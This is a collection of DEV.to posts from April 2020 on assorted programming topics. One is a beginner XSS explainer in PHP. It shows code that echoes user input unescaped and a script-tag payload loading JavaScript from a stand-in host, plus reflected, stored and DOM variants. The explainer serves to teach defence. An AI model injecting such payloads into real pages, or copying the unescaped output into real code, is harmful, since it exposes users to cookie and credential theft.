teleren/devto huggingface dataset:
Another COVID-19 Tracker
Tags: node, angular, typescript
Published: 2020-04-18 13:32:12

There are many web pages over internet to track COVID-19 growth and latest news with rich content and beautiful design, which inspires me to make another one but with simpler content to fill my free time and to get into some new stuff.
Web Page: https://covid19trackerpage.herokuapp.com/
Source Code: https://github.com/AbdullahDibas/Covid-19-Tracker

## Frameworks and Libraries Used: ##
The page is built using __Angular__ framework which is an overkill for one view application but I wanted to have some learning experience with the framework.

The library used for Charts: [ApexCharts](https://apexcharts.com/)
The library used for the world map: [jVectorMap](https://jvectormap.com/)
COVID-19 data and statistics: [Postman COVID-19 API Resource Center](https://covid-19-apis.postman.com/)
Hosting Platform: [Heroku](https://www.heroku.com/)
React Hook that helps understand whether component mounted
Tags: webdev, react, javascript
Published: 2020-04-18 13:27:21

I use this hook a lot, so maybe somebody is looking for the same solution.
```jsx
export const useIsMounted = () => {
  const isMountedRef = React.useRef(false)

  React.useEffect(() => {
    isMountedRef.current = true

    return () => {
      isMountedRef.current = false
    }
  }, [])

  return isMountedRef.current
}
```
Send variable straight to front-end without request with Laravel and Vue.js
Tags: laravel, vue, php
Published: 2020-04-18 13:21:59

---
title: Send variable straight to front-end without request with Laravel and Vue.js
published: true
description: Send variable straight to front-end without request with Laravel and Vue.js
tags: Laravel, Vue.js, PHP
cover_image: https://dev-to-uploads.s3.amazonaws.com/i/uxvevckirbjyql2cmy6k.png
---
- Q: What is it for?
- A: A static front-end app using variables from PHP

#Intro

I’ve done this in a front-end app that should be customized, based on the server it was hosted. It was just one front app hosted in many servers with an unique addresses.

To get this working, the front-end app should be compiled and served by Laravel.
We accomplish that by putting the front-end compiled files in the Laravel’s /public dir.

#Making it happen

Initialize a default app with [@vue/cli](https://cli.vuejs.org/):
```
vue create front
```
Create a Laravel app with [Composer](https://getcomposer.org/):
```
composer create-project --prefer-dist laravel/laravel api
```
To make Laravel serve the front-end app we have to modify the main route in **/routes/web.php**:
```
Route::get('/{any}', function () {
 return view('vue', [
 'color' => $_SERVER['SERVER_PORT'] == 8000 ? 'red' : 'blue'
 ]);
})->where(['any' => '.*']);
```
The **where** condition makes the custom routes in the front.
It will be necessary to add the public dir in Laravel’s views config in **/config/view.php**:
Add the var **$color** in front-end’s **/public/index.html**:
```
<style>
    body {
        background-color: {{ $color }};
    }
</style>
```
*Note the [Blade](https://laravel.com/docs/master/blade) syntax, it won’t work in Vue dev environment.
Build the front-end app with:
```
npm run build
```
After build transfer all of the content **/dist** dir to Laravel’s **/public** and rename the file **index.html** to **vue.blade.php**.
To check the final result, start the Laravel app in two diferent ports:
```
php artisan serve --port 8000
php artisan serve --port 9000
```
You should see:
![Preview](https://dev-to-uploads.s3.amazonaws.com/i/io3wv40o9doog3ig6gbk.png)

This is just a simple example of how to pass a var from Laravel to Vue.js. In this case it was just a string defined in Laravel that was printed in CSS.
Have I helped you? Let me know:
Can't create react app
Tags: errors, issues
Published: 2020-04-18 13:00:53

Kindly help me figure out why there seems to be an error when I run npx create-react-app on my terminal.

It gets interrupted with bunch of errors.

Installing packages. This might take a couple of minutes.
Installing react, react-dom, and react-scripts with cra-template...

➤ YN0000: ┌ Resolution step
➤ YN0032: │ fsevents@npm:2.1.2: Implicit dependencies on node-gyp are discouraged
➤ YN0032: │ fsevents@npm:2.1.2: Implicit dependencies on node-gyp are discouraged

and more errors.

I have the latest node installed.

Thanks!
Blockchain powered by AI
Tags: blockchain, crypto, cryptocurrency
Published: 2020-04-18 12:57:17

Libonomy is one of its kind blockchain that has achieved the goals of innovation and creativity with great success. The kind of innovation it advertises attracts and reaches out to masses that have the knowledge that the system is fulfilling its role of greatness.

The above implementation plan of the Libonomy Blockchain fully considers the operation needs of the development of consensus algorithms, the building process of a Blockchain with AI engine and the ability enhancement process of the Blockchain community, so as to make the Libonomy Blockchain available as soon as possible, popularize it in the community and carry out process. Also, gradual improvements will take place in the Blockchain through constant iteration and upgrade.

https://libonomy.com
Advanced string comparison and sorting in Swift
Tags: swift, ios
Published: 2020-04-18 12:54:09

I bet you are well aware of the `contains()` method available in Swift to check if one string  well.. contains.. substring 🙂 We can also readily use methods `hasPrefix()` and `hasSuffix()` to check if our string starts or ends with particular substring.

The first issues arise when we have to consider case. This is very important when dealing with user input.  One solution is to convert to either uppercase of lowercase and then use the standard methods mentioned above.

If we want to compare two strings and ignore case, we don't have to uppercase or lowercase them and instead use method `caseInsensitiveCompare()` which does exactly what its name suggests. There is small difference because the return is not `bool` but instead an instance of `ComparisonResult`. This is an enum that will additionally tell them which strings comes first when sorting. 

```swift
var str = "Hello, playground"
str.caseInsensitiveCompare("hello, playGround") == .orderedSame
```

We can compare the result to `.orderedSame` which in this case will be `true`. There is also locale-aware version available.

There is no built in way of having `hasPrefix()` or `hasSuffix()` be case insensitive. In this case we have to resort to once again user uppercase or lowercase form or use the handy `folding()` method on string.

This can be very handy for more complex tasks. For example in my native language we have some "funny" letters like `č`, `ě`, `ž` and more.

If I wanted to match my surname even when the strings uses `c` instead of `č` and `e` instead of `ě` I can use `folding()` to modify the input before comparison.

```swift
let surname = "Němeček"
let folded = surname.folding(options: .diacriticInsensitive, locale: Locale.current)
// folded = "Nemecek"
```

You can also specify any other locale to take regional rules into account.
Since we have touched on `Locale` already, let's check how to order strings correctly based on users locale. So once again, the `č` from my language comes right after `c` but with standard Swift sorting it will be at the end after `z`.

```swift
let letters = ["c", "a", "d", "x", "č"]
print(letters.sorted())
```

And the output is: `["a", "c", "d", "x", "č"]`

Let's fix this:
```swift
let letters = ["c", "a", "d", "x", "č"]
print(letters.sorted(by: { (s1, s2) -> Bool in
    return s1.localizedCompare(s2) == .orderedAscending
}))
```

Which results in: `["a", "c", "č", "d", "x"]` exactly what we are after.

Initially I wanted to write super comprehensive guide on formatting but then I had realized my goal is not to write an encyclopedia on string formatting in Swift but rather show the common use cases and how to use it effectivelly.

I believe it is much better to be aware that these options exist and know where to find them than to memorize all available APIs.

_Thanks for reading!_
Google Chrome’s new update finally allows you to organize and group tabs!
Tags: webdev, productivity, devtools, chrome
Published: 2020-04-18 12:43:15

---
title: Google Chrome’s new update finally allows you to organize and group tabs!
published: true
description: Google Chrome’s new update finally allows you to organize tabs easily
tags: webdev, productivity, devtools, chrome
cover_image: https://dev-to-uploads.s3.amazonaws.com/i/jlgkz0a38neotbuxg2sj.png
---

Are too many tabs cluttering up your Chrome browser? Google Chrome’s new update, Chrome 81, introduces the **Tab Group feature**, allowing users to **finally be able to organize tabs**! The Tab Groups feature provides neat, color-coded labeling for all your tabs. 

Here is how you can set up Tab Groups on your Google Chrome and maximize its features:

###1. Enabling the feature###
Make sure you have the latest version of Google Chrome installed on your machine (should be 81+). To check this go to `Settings`/`Chrome` and then select `About Chrome`. Otherwise:
- If you can update, do it.
- If can't, you can turn on this feature by navigating to `chrome://flags` and looking for `tab groups`. Make sure it is `Enabled`.


###2. How to create a new tab group: ###
  - Just **right-click** a tab and then select `Add to New Group` option.
Tabs will change colours depending on their group while a dot will also appear as a group header. ![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/exvxyvcngnpkc1p2w13n.png)

  - If you want to change a Tab group name then simply click on the group.
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/0x82x3teifaib333achu.png)
  - You can also change the colour of the group using this method.
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/dbtayw9eiv79abrlw3t6.png)
 


###3. If you want to add (remove) a tab to (from) a group:###
  - Simply **right-click** each tab and then select `Add to an existing group`. ![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/66s5p6pivzitrkhsx9wn.png)
  - You can also drag and drop the tabs into groups, and drag and drop to remove a tab out of a group.
  - To create a new tab in a group, just right click the group label and select `New Tab in Group` ![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/3wfsxl5s73rhk7lmxgty.png)


_Some credits goes to [howtogeek](https://www.howtogeek.com/656707/how-to-enable-and-use-tab-groups-in-google-chrome/)_


Enjoy and stay organized :)

---

If you liked the article, please click the ❤️ 🦄 below so other people will see it on DEV.to :) ! Feel free to [follow me on Github](http://github.com/otomer)
World of WoqlCraft - Ep.4 we have built our schema
Tags: tutorial, database, python, schema
Published: 2020-04-18 12:29:36

---
title: World of WoqlCraft - Ep.4 we have built our schema
published: true
description: Finally, we finish building the whole schema. We put the multiple domains and range of the properties into a subclass of a single domain and properties so we can build the properties of the graph properly.
tags: tutorial, database, python, schema
---
Finally, we finish building the whole schema. We put the multiple domains and range of the properties into a subclass of a single domain and properties so we can build the properties of the graph properly.

Find the source code from our [tutorial repo](https://github.com/terminusdb/terminus-tutorials).
Help making an IoT Real-time Dashboard
Tags: help, flask, python
Published: 2020-04-18 12:27:20

Hey guys, so I'm working on a project where I have a bunch of sensors uploading data to a database. I also need to build a dashboard where the data gets updated in realtime. I have already finished the hardware part and am currently confused on how to make the realtime dashboard. I am pretty decent in using the Flask framework, and I use it quite often for my web dev projects. The realtime part is the one giving me a problem to figure out using flask. If there is any way using flask or even without using it, please let me know.

I greatly appreciate any suggestions.
What is Xss attack? (Php)
Tags: owasp, xss, security, php
Published: 2020-04-18 11:46:17

In this article i want to show you what is Xss attack

## Cross-Site Scripting (XSS)
"XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it."
That is a very good definition that you can read more about it in [owasp](https://owasp.org/www-community/attacks/xss/)
But we are developers :) so let's look at it in the code 
```php
<?php
echo '<div>' . $_GET["title"] . '</div>';
echo '<div>' . $_GET["body"] . '</div>';
echo '<div>' . $_GET["footer"] . '</div>';
```
For example if you have somethings like it in your code you are in danger of Xss attack.
for example consider someone send 
```
<script src="http://xxx.com/xxx.js"></script>
```
with get method, then you will serve sth like it in your page
```php
<div><script src="http://xxx.com/xxx.js"></script></div>
```
Oh ... so someone can run js in your page :/
Ok now let's look at the different kinds of Xss attacks to be more familiar with it
## 1.Reflected XSS
Reflected XSS means that the payload is reflected, i.e. the server reads it from the request and includes it as part of the response as well.

/search.php?q=hello would be an example that then shows up on the page.
```php
<?php
	echo "You searched for " . $_GET["q"];
?>
```
But really how can it hurt you :/
That is a useful list that can aware you
#### 1.steal credentials in non-HTTPOnly cookies.
#### 2.send requests to a server with the user's credentials. Think XSRF
#### 3.steal secrets that are stored in JS variables.
#### 4.prompt the user to download content by submitting a form
#### 5.display text that seems to come from the site owners. Think phishing.
#### 6.display a password input, log keystrokes, and send the result to a site of your choosing
#### 7.redirect to another site
#### 8.get GPS/camera data if the user has granted that site access to the device
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/ltsw8u5nhxulk35mjavt.png)
## 2.Stored/Persistent XSS
If you find someways to store somethings like 
```
<script src="http://xxx.com/xxx.js"></script>
```
in database or somewhere that is persistent, you can call it Stored xss then you can do many things ... that means you have js file that run in special page every time :)
## 3.DOM XSS
let's look at this example
```html
<script>
   document.write("<b>Current URL</b> : " + document.baseURI);
</script>
```
if you send request like this
``` 
xxxxx.com/index.html#<script src="http://xxx.com/xxx.js"></script>
```
your js code will be run 
And for example if you send it to the others you can easily steal the cookies from the user's browser or change the behaviour of the page on the web application as you like :)

I hope you understand Xss attack and know the different types of it
If you have any questions feel free to ask them
Have a nice time
Explain the difference between var, let and const.
Tags: javascript, codenewbie, webdev, todayilearned
Published: 2020-04-18 12:13:22

*This post first appeared on [hackinbits.com](https://hackinbits.com/practice/javascript-interview-questions)*

var, let and const keywords are used to declare variables in Javascript. While var is the oldest keyword for declaring variables from its inception, let and const are introduced in ES6.

Variables declared using three keywords differ in the following cases:

## Assignment
- let and var can be reassigned to a new value while const cannot be reassigned.


```javascript
var a = 10;
a = 20;
//output: 20
console.log(a);

let b = 'hello';
b = 'world';
//output: 'world'
console.log(b);

const c = 'hello'
//Error: Uncaught TypeError: Assignment to constant variable.
c = 'world'
```
This makes const the best option for declaring values that do not change in the program, preventing reassignment.

## Scope 

- var is function-scoped.
- let and const are block-scoped(any code within {} braces).
- Here is an article on [Understanding Scope in Javascript](https://hackinbits.com/articles/understanding-scope-in-javascript).

## Hoisting

- var is always hoisted to the top of their respective scope.
- let and const is also hoisted but will throw an error if the variable is used before the declaration. It is a little complicated and we will discuss it in a separate article dedicated to this specific topic.
April 18 — Daily CodeNewbie Check-in Thread
Tags: codenewbie, checkin, beginners, discuss
Published: 2020-04-18 12:00:28

---
title: April 18 — Daily CodeNewbie Check-in Thread
published: true
description: A daily thread to ask questions, share progress, and stay accountable!
tags: codenewbie, checkin, beginners, discuss
series: Daily Checkin
---

You are encouraged to use this daily thread to:
- Ask for help (all questions encouraged)
- Explore topics you’re curious about
- Share something you’ve written or read
- Celebrate your wins
- Stay accountable to your goals
- Support your fellow programmers

Happy Coding!

---

_Interested in joining the twice-weekly live [#CodeNewbie Twitter chats](https://twitter.com/search?q=codenewbie)?  You can find us [on Twitter](https://twitter.com/search?q=codenewbie) each Wednesday at 9pm ET (1am GMT on Thursday) and Sunday at 2pm ET (6pm GMT)!_
Daily Developer Jokes - Saturday, Apr 18, 2020
Tags: jokes, dailydeveloperjokes
Published: 2020-04-18 12:00:26

---
title: "Daily Developer Jokes - Saturday, Apr 18, 2020"
description: "Check out today's daily developer joke! (a project by Fred Adams at xtrp.io)"
series: "Daily Developer Jokes"
cover_image: "https://private.xtrp.io/projects/DailyDeveloperJokes/thumbnail_generator/?date=Saturday%2C%20Apr%2018%2C%202020"
published: true
tags: #jokes, #dailydeveloperjokes
---

Generated by Daily Developer Jokes, a project by [Fred Adams](https://xtrp.io/) ([@xtrp](https://dev.to/xtrp) on DEV)

___Read about Daily Developer Jokes on [this blog post](https://xtrp.io/blog/2020/01/12/daily-jokes-bot-release/), and check out the [Daily Developer Jokes Website](https://dailydeveloperjokes.github.io/).___
### Today's Joke is...
![Joke Image](https://private.xtrp.io/projects/DailyDeveloperJokes/public_image_server/images/5e1259316ab83.png)

---
*Have a joke idea for a future post? Email ___[xtrp@xtrp.io](mailto:xtrp@xtrp.io)___ with your suggestions!*

*This joke comes from [Dad-Jokes GitHub Repo by Wes Bos](https://github.com/wesbos/dad-jokes) (thank you!), whose owner has given me permission to use this joke with credit.*

<!-- 
Joke text:
___Q:___ What are the three hardest problems in computer science?

___A:___ Naming things and off-by-one errors
 -->
Tips on Staying productive while working from home
Tags: staystafe, workfromhome
Published: 2020-04-18 11:45:29

Get out of Bed Please! 😁.It is hard getting out it when you can work from your bed. But working from bed attracts sleep and you will not be able to concentrate on your work for more than 3 hours.

Twitter and phone app notifications are enemies 😈 of working from home. Set usage time limit of apps that distract you the most and disable notifications of them.

Avoid Netflix at all cost. We all know how one episode turns into days of no work at all 😁.Instead award yourself watching a show/movie after completing your day tasks.

Remember to EAT and Eat healthy 🥗! When working from home, Time seems to move fast than usual and sometimes you just notice that it is 5PM and you haven’t taken breakfast and/or Lunch. Avoid lots of snacks. Set an alarm for reminding you Time to take care of that stomach 😊.

Party🕺🏿 and Celebrate the small wins in this period. Either as a Team on Video Conference or as an individual. I personally throw a one man party in my room on Friday for celebrating my week’s achievement(Might sound crazy but it is fun).

Lastly, Keep it fun and simple. After all you are at home. Check on your family and friends and keep that SMILING FACE 🤗.

Remember! Brighter days are yet to come.
Machine Learning - Understanding Convolutional Neural Networks
Tags: machinelearning, beginners, computerscience
Published: 2020-04-18 11:11:55

---
title: Machine Learning - Understanding Convolutional Neural Networks
published: true
description: Machine Learning studies
cover_image: https://i.ibb.co/gyDsXzP/0-hzqhs-KFIZNWJKhvq.jpg
tags: machinelearning, Beginners, Computer Science
series: Making Of Terminator
---
Hey there,

I think most of the concepts are already covered. So far we've seen that CNN's perform really well at classifying images. However, at this point, we don't really know how these CNN's actually work. If we could understand what a CNN is actually learning, then in principle, we should be able to improve it even further. One way to try to understand CNNs is by visualizing the convolutional layers. Just take a  look at the link below to learn more about how to visualize convolutional layers:

<a href="">Understanding your Convolution network with Visualizations</a>

<h1>Summary</h1>

In this lesson we learned how we can use Transfer Learning to create very powerful Convolutional Neural Networks with very little effort. The main key points of this lesson are:

<ul><li>Transfer Learning: 
A technique that reuses a model that was created by machine learning experts and that has already been trained on a large dataset. When performing transfer learning we must always change the last layer of the pre-trained model so that it has the same number of classes that we have in the dataset we are working with.</li>

<li>Freezing Parameters: 
Setting the variables of a pre-trained model to non-trainable. By freezing the parameters, we will ensure that only the variables of the last classification layer get trained, while the variables from the other layers of the pre-trained model are kept the same.</li>

<li>MobileNet: 
A state-of-the-art convolutional neural network developed by Google that uses a very efficient neural network architecture that minimizes the amount of memory and computational resources needed, while maintaining a high level of accuracy. MobileNet is ideal for mobile devices that have limited memory and computational resources.</li>
</ul>
You also used transfer learning to create a Convolutional Neural Network that uses MobileNet to classify images of Dogs and Cats. You were able to see that transfer learning greatly improves the accuracy achieved in the Dogs and Cats dataset. As an exercise, you were able to apply everything you learned in this lesson to create your own CNN using MobileNet to classify images of flowers.

<blockquote>
So you all are waiting for the code right? 
Let us start with the Celsius V Fahreheit example in Google Colab.
</blockquote>
COVID-19 HACKATHON
Published: 2020-04-18 10:58:12

Post Demo 

{% youtube s0dMTAQM4cw %}

{% medium https://medium.com/s/story/boba-science-how-can-i-drink-a-bubble-tea-to-ensure-that-i-dont-finish-the-tea-before-the-bobas-7fc5fd0e442d %}

{% github thepracticaldev/dev.to %}

{% twitter 834439977220112384 %}